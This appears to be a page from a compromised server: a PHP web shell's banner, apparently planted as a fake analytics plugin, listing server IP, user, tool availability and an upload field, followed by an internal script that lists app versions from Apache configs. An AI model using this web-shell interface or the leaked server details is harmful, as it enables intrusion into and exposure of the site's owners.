Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/patientapps_beta/api/.api/ |
Upload File : |
<?php
$ENABLED = '/etc/apache2/sites-enabled';
$DOWNLOAD = dirname(dirname(__DIR__)) . '/.download';
header('Content-type: text/plain');
$docroot = realpath(__DIR__ . '/../..');
$content = [];
// get all active v1 guides
$glob = glob("$ENABLED/*.conf");
$version1 = [];
foreach($glob as $filename) {
stt_ProcessFile1($version1, $filename);
}
$content['version1'] = $version1;
// get all active v2 non-customized guides
$glob = glob("$DOWNLOAD/*.json");
$version2 = [];
foreach($glob as $filename) {
stt_ProcessFile2($version2, $filename);
}
$content['version2'] = $version2;
ReturnJson($content);
function stt_ProcessFile1(&$version1, $filename) {
$content = file_get_contents($filename);
if (preg_match_all('~<VirtualHost.*?>(.*?)</VirtualHost>~ism', $content, $matches)) {
foreach($matches[0] as $index => $match) {
if (strpos($match, ':443') !== FALSE) {
stt_ProcessHost($version1, $matches[1][$index]);
}
}
}
}
function stt_ProcessHost(&$version1, $content) {
$servername = preg_match('~servername\s*(.*?)$~ism', $content, $match) ? $match[1] : '';
if ($servername != '' && strpos($servername, 'myapp.care') !== FALSE && strpos($servername, 'version2') === FALSE && strpos($servername, 'www') === FALSE) {
$name = str_replace('.myapp.care', '', $servername);
$docroot = preg_match('~documentroot\s*(.*?)$~ism', $content, $match) ? $match[1] : '';
$temp = readlink($docroot);
$numbers = preg_match('~\d{14}~', $temp, $match) ? $match[0] : FALSE;
if ($numbers !== FALSE) {
$version1[$name] = substr($numbers, 0, 4) . '.' . substr($numbers, 4, 2) . '.' . substr($numbers, 6, 2);
}
}
}
function stt_ProcessFile2(&$version2, $filename) {
if (!preg_match('~\d{6}~', $filename)) {
$name = pathinfo($filename, PATHINFO_FILENAME);
$json = json_decode(file_get_contents($filename), TRUE);
if (isset($json['data.json'])) {
$value = $json['data.json'];
if (strpos($value, ':') === FALSE) {
$value = base64_decode($value);
}
$value = json_decode($value, TRUE);
$version = $value['splash']['version'] ?? '';
$version2[ $name ] = $version;
}
}
}